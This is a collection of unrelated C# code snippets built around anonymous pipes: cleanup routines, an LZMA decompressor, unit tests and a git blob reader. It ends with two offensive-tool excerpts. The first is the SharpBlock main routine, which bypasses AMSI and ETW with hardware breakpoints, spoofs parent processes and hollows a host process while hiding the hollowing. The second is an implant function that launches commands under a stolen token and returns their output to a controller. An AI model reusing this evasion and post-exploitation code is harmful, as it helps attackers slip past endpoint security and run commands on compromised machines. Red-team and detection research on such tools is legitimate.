private int StopChildProcess() { int exitCode = (int)FlacDecodeCS.DecodeResultType.FileOpenReadError; if (null != mChildProcess) { mChildProcess.WaitForExit(); exitCode = mChildProcess.ExitCode; mChildProcess.Close(); mChildProcess = null; } if (null != mPipeServerStream) { mPipeServerStream.Close(); mPipeServerStream = null; } if (null != mBinaryReader) { mBinaryReader.Close(); mBinaryReader = null; } return(exitCode); }
void DecompressionThreadBody() { try { FileStream inStream; var args = Environment.GetCommandLineArgs(); if (args.Length > 1) { string fn = args[1]; long offset = 0; int idx = fn.IndexOf('@'); if (idx != -1) { offset = long.Parse(fn.Substring(idx + 1)); fn = fn.Substring(0, idx); } inStream = new FileStream(fn, FileMode.Open, FileAccess.Read); inStream.Seek(offset, SeekOrigin.Begin); } else { inStream = new FileStream(Assembly.GetExecutingAssembly().Location, FileMode.Open, FileAccess.Read); inStream.Seek(94720, SeekOrigin.Begin); } byte[] properties = new byte[5]; if (inStream.Read(properties, 0, 5) != 5) { throw (new Exception("input .lzma is too short")); } var decoder = new SevenZip.Compression.LZMA.Decoder(); decoder.SetDecoderProperties(properties); long outSize = 0; for (int i = 0; i < 8; i++) { int v = inStream.ReadByte(); if (v < 0) { throw (new Exception("Can't Read size from LZMA header")); } outSize |= ((long)(byte)v) << (8 * i); } long compressedSize = inStream.Length - inStream.Position; _TotalSize = compressedSize; decoder.Code(inStream, _OutPipe, compressedSize, outSize, this); } catch (Exception ex) { _DecompException = ex; } finally { _OutPipe.Close(); } }
public void Stop() { m_Server.WaitForPipeDrain(); m_Server.Close(); m_Client.Close(); m_Client.Dispose(); m_Client = null; m_Server.Dispose(); m_Server = null; }
public void ForNonSeekable(string input, params string[] lines) { using (var s = new AnonymousPipeServerStream()) using (var c = new AnonymousPipeClientStream(s.GetClientHandleAsString())) { var bytes = Encoding.ASCII.GetBytes(input); s.Write(bytes, 0, bytes.Length); s.Close(); var skipLF = false; foreach (var line in lines) { Assert.Equal(line, c.ReadProtocolLineWithEnd(skipLF)); skipLF = (line.Last() == '\r'); } } using (var s = new AnonymousPipeServerStream()) using (var c = new AnonymousPipeClientStream(s.GetClientHandleAsString())) { var bytes = Encoding.ASCII.GetBytes(input); s.Write(bytes, 0, bytes.Length); s.Close(); var skipLF = false; foreach (var line in lines) { Assert.Equal(line.TrimEnd(LineEnds), c.ReadProtocolLine(skipLF)); skipLF = (line.Last() == '\r'); } } }
/// <summary> /// Pipe the data from one graph to another graph. /// </summary> /// <param name="fromGraph">the graph to take data from</param> /// <param name="toGraph">the graph to take data to</param> public static void MigrateGraph(IGraph fromGraph, IGraph toGraph) { if (fromGraph == null) { throw new ArgumentNullException(nameof(fromGraph)); } if (toGraph == null) { throw new ArgumentNullException(nameof(toGraph)); } const int pipeSize = 1024; var outPipe = new AnonymousPipeServerStream(PipeDirection.Out, HandleInheritability.Inheritable, pipeSize); { using (var inPipe = new AnonymousPipeClientStream(PipeDirection.In, outPipe.ClientSafePipeHandle)) { Task.Factory.StartNew(() => { GraphMlWriter.OutputGraph(fromGraph, outPipe); outPipe.Flush(); outPipe.Close(); }); GraphMlReader.InputGraph(toGraph, inPipe); } } }
/// <summary> /// Release all resources used by this process. /// </summary> /// <param name="disposing">true to release both managed and unmanaged resources; false to release only unmanaged resources. </param> protected virtual void Dispose(bool disposing) { if (disposing) { _process.Close(); _pipeServerToClient.Close(); _pipeServerFromClient.Close(); _pipeServerErrorFromClient.Close(); } }
/// <summary> /// Free up resources. Has the option to kill the external process. /// </summary> /// <param name="disposeMethod">A value indicating whether the external process should be exited politely (via a signal) or killed.</param> public void Dispose(DisposeMethod disposeMethod) { if (!disposed) { switch (disposeMethod) { case DisposeMethod.PoliteDispose: //send terminate signal. messageSender.SendMessage(new ExitMessage()); //memory cleanup pipeIn.Close(); pipeOut.Close(); break; case DisposeMethod.KillDispose: pipeIn.Close(); pipeOut.Close(); clientProcess.Kill(); break; } disposed = true; } }
public int StopChildProcess() { System.Diagnostics.Debug.Assert(null != childProcess); childProcess.WaitForExit(); int exitCode = childProcess.ExitCode; childProcess.Close(); childProcess = null; pss.Close(); br.Close(); br = null; return(exitCode); }
public void Close() { if (!_disposed) { lock (this) if (!_disposed) { _server.WaitForPipeDrain(); _server.Close(); _client.Close(); _disposed = true; } } }
public void Close() { running = false; try { pipeClient.Close(); } catch (Exception) { } try { outGoingServerPipe.Close(); } catch (Exception) { } try { inComingServerPipe.Close(); } catch (Exception) { } try { clientOut.Close(); } catch (Exception) { } try { clientIn.Close(); } catch (Exception) { } try { ssw.Close(); } catch (Exception) { } try { csw.Close(); } catch (Exception) { } }
Stream OpenOutput(string gitExe, string fileName, string blobHash) { if (!File.Exists(fileName)) { return(null); } if (blobHash == null) { return(null); } AnonymousPipeServerStream pipe = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable); StartupInfo startupInfo = new GitVersionProvider.StartupInfo(); startupInfo.dwFlags = STARTF_USESTDHANDLES; startupInfo.hStdOutput = pipe.ClientSafePipeHandle; startupInfo.hStdInput = GetStdHandle(STD_INPUT_HANDLE); startupInfo.hStdError = GetStdHandle(STD_ERROR_HANDLE); startupInfo.cb = 16; PROCESS_INFORMATION procInfo; string commandLine = "\"" + gitExe + "\" cat-file blob " + blobHash; string workingDir = Path.GetDirectoryName(fileName); Debug.WriteLine(workingDir + "> " + commandLine); const uint CREATE_NO_WINDOW = 0x08000000; if (!CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW, IntPtr.Zero, workingDir, ref startupInfo, out procInfo)) { pipe.DisposeLocalCopyOfClientHandle(); pipe.Close(); return(null); } pipe.DisposeLocalCopyOfClientHandle(); return(pipe); }
/// <summary> /// Close all open handles the class manipulates. /// </summary> public void CloseHandles() { base.CloseHandles(); try { if (PipeServer != null) { PipeServer.Close(); } } catch { } try { if (PipeClient != null) { PipeClient.Close(); } } catch { } }
public void SimpleMessageTest() { var pipeServer = new AnonymousPipeServerStream(PipeDirection.In); var pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle); try { var ps = new PackedStream(pipeServer, pipeClient); var rdn = new Random(); var data = new byte[rdn.Next(10, 1024)]; byte[] nData = null; var mre = new ManualResetEvent(false); rdn.NextBytes(data); ps.DataReceived += (s, d) => { nData = d.MemoryStream.ToArray(); mre.Set(); }; ps.Write(new MemoryStream(data)); mre.WaitOne(); Assert.AreEqual(data.Length, nData.Length); for (var i = 0; i < data.Length; i++) { Assert.AreEqual(data[i], nData[i]); } } finally { pipeServer.Close(); pipeClient.Close(); } }
public static void ClosePipes() { writePipe?.Close(); readPipe?.Close(); shutDown = true; }
static void Main(string[] args) { string program = "c:\\windows\\system32\\cmd.exe"; string hostProcess = null; string programArgs = ""; bool showHelp = false; bool bypassAmsi = true; bool bypassCommandLine = true; bool bypassETW = true; bool bypassHollowDetect = true; bool patchedArgs = false; bool kernelBaseLoaded = false; bool showWindow = false; int ppid = -1; HostProcessInfo hpi = new HostProcessInfo(); Console.WriteLine( "SharpBlock by @_EthicalChaos_\n" + $" DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n" ); OptionSet option_set = new OptionSet() .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program = v) .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v) .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v)) .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v)) .Add("p=|product=", "Product string to block", v => blockProduct.Add(v)) .Add("d=|description=", "Description string to block", v => blockDescription.Add(v)) .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v) .Add("ppid=", "PID of the process to use for parent process spoofing", v => ppid = int.Parse(v)) .Add("w|show", "Show the lauched process window instead of the default hide", v => showWindow = true) .Add("disable-bypass-amsi", "Disable AMSI bypassAmsi", v => bypassAmsi = false) .Add("disable-bypass-cmdline", "Disable command line bypass", v => bypassCommandLine = false) .Add("disable-bypass-etw", "Disable ETW bypass", v => bypassETW = false) .Add("disable-header-patch", "Disable process hollow detection bypass", v => bypassHollowDetect = false) .Add("h|help", "Display this help", v => showHelp = v != null); try { option_set.Parse(args); if (showHelp) { option_set.WriteOptionDescriptions(Console.Out); return; } } catch (Exception e) { Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); option_set.WriteOptionDescriptions(Console.Out); return; } try { AnonymousPipeServerStream stdOutStream = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable); StreamReader stdOutReader = new StreamReader(stdOutStream); stdOutStream.ReadMode = PipeTransmissionMode.Byte; Thread stdOutReaderThread = new Thread(() => StdOutReader(stdOutReader)); IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll"); amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize"); IntPtr ntdllBase = WinAPI.LoadLibrary("ntdll.dll"); IntPtr etwEventWritePtr = WinAPI.GetProcAddress(ntdllBase, "EtwEventWrite"); Console.WriteLine($"[+] in-proc amsi 0x{amsiBase.ToInt64():x16}"); Console.WriteLine($"[+] in-proc ntdll 0x{ntdllBase.ToInt64():x16}"); STARTUPINFOEX startupInfo = new STARTUPINFOEX(); startupInfo.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfo); uint launchFlags = WinAPI.DEBUG_PROCESS; if (!showWindow) { startupInfo.StartupInfo.dwFlags = 0x00000101; launchFlags |= 0x08000000; } if (ppid > 0) { launchFlags |= 0x80000; startupInfo.StartupInfo.dwFlags |= 0x101; startupInfo.lpAttributeList = InitializeProcThreadAttributeList(1); SetNewProcessParent(ref startupInfo, ppid, stdOutStream.ClientSafePipeHandle.DangerousGetHandle()); stdOutReaderThread.Start(); } PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); string realProgramArgs = $"\"{hostProcess}\" {programArgs}"; string launchedArgs = bypassCommandLine ? $"\"{hostProcess}\"" : realProgramArgs; if (!CreateProcess(hostProcess != null ? hostProcess : program, launchedArgs, IntPtr.Zero, IntPtr.Zero, true, launchFlags, IntPtr.Zero, null, ref startupInfo, out pi)) { Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}"); return; } Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}"); bool bContinueDebugging = true; Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>(); Dictionary <uint, IntPtr> threadHandles = new Dictionary <uint, IntPtr>(); while (bContinueDebugging) { IntPtr debugEventPtr = Marshal.AllocHGlobal(1024); bool bb = WinAPI.WaitForDebugEvent(debugEventPtr, 1000); UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE; if (bb) { WinAPI.DEBUG_EVENT DebugEvent = GetDebugEvent(debugEventPtr); IntPtr debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u); switch (DebugEvent.dwDebugEventCode) { /* Uncomment if you want to see OutputDebugString output * case WinAPI.OUTPUT_DEBUG_STRING_EVENT: * WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO)); * IntPtr bytesRead; * byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength]; * WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead); * Console.WriteLine(Encoding.ASCII.GetString(strData)); * break; */ case WinAPI.CREATE_PROCESS_DEBUG_EVENT: WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO)); processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess; threadHandles[DebugEvent.dwThreadId] = CreateProcessDebugInfo.hThread; if (bypassAmsi) { SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr, 0); } break; case WinAPI.CREATE_THREAD_DEBUG_EVENT: WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO)); threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread; if (pi.dwProcessId == DebugEvent.dwProcessId) { if (bypassAmsi) { SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr, 0); } if (bypassETW) { SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2); } } break; case WinAPI.EXIT_PROCESS_DEBUG_EVENT: if (pi.dwProcessId == DebugEvent.dwProcessId) { bContinueDebugging = false; } break; case WinAPI.LOAD_DLL_DEBUG_EVENT: WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO)); string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]); //Console.WriteLine($"[=] DLL Load: {dllPath}"); if (DebugEvent.dwProcessId == pi.dwProcessId) { // Once kernelbase.dll has loaded then update GetCommandLineW/A args if (bypassCommandLine && kernelBaseLoaded && !patchedArgs) { UpdateCommandLine(pi.hProcess, realProgramArgs); patchedArgs = true; } if (hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) { Console.WriteLine($"[+] Replacing host process with {program}"); hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program); //Set a breakpoint on EtwEventWrite ready for us to bypass SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2); //Once we have hollowed out our process we put a breakpoint on //our in-memory PE entry point. //Once the entry point is hit it means that we can then attempt to //hide our PE from prying eyes. SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint, 1); } else if (dllPath.EndsWith("kernelbase.dll", StringComparison.OrdinalIgnoreCase)) { kernelBaseLoaded = true; } } break; case WinAPI.EXCEPTION_DEBUG_EVENT: WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO)); if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP) { //Check to see if the single step breakpoint is at AmsiInitalize if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr) { //It is, to update the thread context to return to caller with //an invalid result DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]); //Set the hardware breakpoint again for AmsiInitalize SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], amsiInitalizePtr, 0); //check to see if we have hit our in-memory PE entry-point } else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint) { //Causes crashes on some processes, for example cmd.exe, use --bypass-header-patch to disable if (bypassHollowDetect) { HideHollowedProcess(pi.hProcess, hpi); } //Catch case just in case kernelbase was the last DLL loaded if (bypassCommandLine && kernelBaseLoaded && !patchedArgs) { UpdateCommandLine(pi.hProcess, realProgramArgs); patchedArgs = true; } //No longer need the entrypoint breakpoint ClearHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], 1); } else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == etwEventWritePtr) { //We have hit EtwEventWrite so lets just return with a fake success result OverrideReturnValue(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId], new UIntPtr(0), 5); } } else { dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED; } //Console.WriteLine($"Exception 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionCode:x} occured at 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionAddress.ToInt64():x}"); break; } WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId, (uint)DebugEvent.dwThreadId, dwContinueDebugEvent); } if (debugEventPtr != null) { Marshal.FreeHGlobal(debugEventPtr); } } int exitCode; WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode); Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}"); if (stdOutReaderThread.IsAlive) { stdOutReader.Close(); stdOutStream.Close(); //Ugly exit due to std out pipe causing hang inside thread Environment.Exit(0); } }catch (Exception e) { Console.WriteLine($"[!] SharpBlock failed with error {e.Message}"); Console.WriteLine(e.StackTrace); } }
/// <summary> /// Start a process using a stolen token /// C#'s System.Diagnostics.Process doesn't respect a WindowsImpersonationContext so we have to use CreateProcessWithTokenW /// </summary> /// <param name="task"></param> /// <param name="implant"></param> /// <param name="TokenHandle"></param> public static void StartProcessWithToken(SCTask task, SCImplant implant) { string[] split; string argString; string file; if (task.command == "shell") { split = [email protected]().Split(' '); argString = string.Join(" ", split); file = "cmd /c"; } else { split = [email protected]().Split(' '); argString = string.Join(" ", split.Skip(1).ToArray()); file = split[0]; } // STARTUPINFO is used to control a few startup options for our new process Win32.Advapi32.STARTUPINFO startupInfo = new Win32.Advapi32.STARTUPINFO(); // Use C:\Temp as directory to ensure that we have rights to start our new process // TODO: determine if this is safe to change string directory = "C:\\Temp"; // Set security on anonymous pipe to allow any user to access PipeSecurity sec = new PipeSecurity(); sec.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, AccessControlType.Allow)); // TODO: Use anonymous pipes instead of named pipes using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 1024, sec)) using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) { try { startupInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle(); startupInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle(); // STARTF_USESTDHANDLES ensures that the process will respect hStdInput/hStdOutput // STARTF_USESHOWWINDOW ensures that the process will respect wShowWindow startupInfo.dwFlags = (uint)Win32.Advapi32.STARTF.STARTF_USESTDHANDLES | (uint)Win32.Advapi32.STARTF.STARTF_USESHOWWINDOW; startupInfo.wShowWindow = 0; // Create PROCESS_INFORMATION struct to hold info about the process we're going to start Win32.Advapi32.PROCESS_INFORMATION newProc = new Win32.Advapi32.PROCESS_INFORMATION(); // Finally, create our new process bool createProcess = Win32.Advapi32.CreateProcessWithTokenW( Token.stolenHandle, // hToken IntPtr.Zero, // dwLogonFlags null, // lpApplicationName file + " " + argString, // lpCommandLineName IntPtr.Zero, // dwCreationFlags IntPtr.Zero, // lpEnvironment directory, // lpCurrentDirectory ref startupInfo, // lpStartupInfo out newProc); // lpProcessInformation Thread.Sleep(100); // Something weird is happening if the process exits before we can capture output if (createProcess) // Process started successfully { Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Created process with PID " + newProc.dwProcessId); SCTaskResp procStatus = new SCTaskResp(task.id, "Created process with PID " + newProc.dwProcessId); implant.PostResponse(procStatus); // Trying to continuously read output while the process is running. using (StreamReader reader = new StreamReader(pipeServer)) { SCTaskResp response; string message = null; List <string> output = new List <string>(); try { Process proc = Process.GetProcessById(newProc.dwProcessId); // We can use Process.HasExited() with this object while (!proc.HasExited) { // Will sometimes hang on ReadLine() for some reason, not sure why // Workaround for this is to time out if we don't get a result in ten seconds Action action = () => { try { message = reader.ReadLine(); } catch { // Fail silently if reader no longer exists // May happen if long running job times out? } }; IAsyncResult result = action.BeginInvoke(null, null); if (result.AsyncWaitHandle.WaitOne(300000)) { if (message != "" && message != null) { output.Add(message); if (output.Count >= 5) // Wait until we have five lines to send { response = new SCTaskResp(task.id, JsonConvert.SerializeObject(output)); implant.PostResponse(response); output.Clear(); Thread.Sleep(implant.sleep); } } } else { throw new Exception("Timed out while reading named pipe."); } } } catch (Exception e) { // Sometimes process may exit before we get this object back if (e.Message == "Timed out while reading named pipe.") // We don't care about other exceptions { throw e; } } Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Process with PID " + newProc.dwProcessId + " has exited"); pipeClient.Close(); while (reader.Peek() > 0) // Check if there is still data in the pipe { message = reader.ReadToEnd(); // Ensure we get any output that we missed when loop ended foreach (string msg in message.Split(new[] { Environment.NewLine }, StringSplitOptions.None)) { output.Add(msg); } } if (output.Count > 0) { task.status = "complete"; output.Add("Execution complete."); task.message = JsonConvert.SerializeObject(output); output.Clear(); } else { task.status = "complete"; task.message = "Execution complete."; } } pipeServer.Close(); } else { string errorMessage = Marshal.GetLastWin32Error().ToString(); Debug.WriteLine("[!] DispatchTask -> StartProcessWithToken - ERROR starting process: " + errorMessage); pipeClient.Close(); pipeServer.Close(); task.status = "error"; task.message = errorMessage; } } catch (Exception e) { pipeClient.Close(); pipeServer.Close(); task.status = "error"; task.message = e.Message; } } }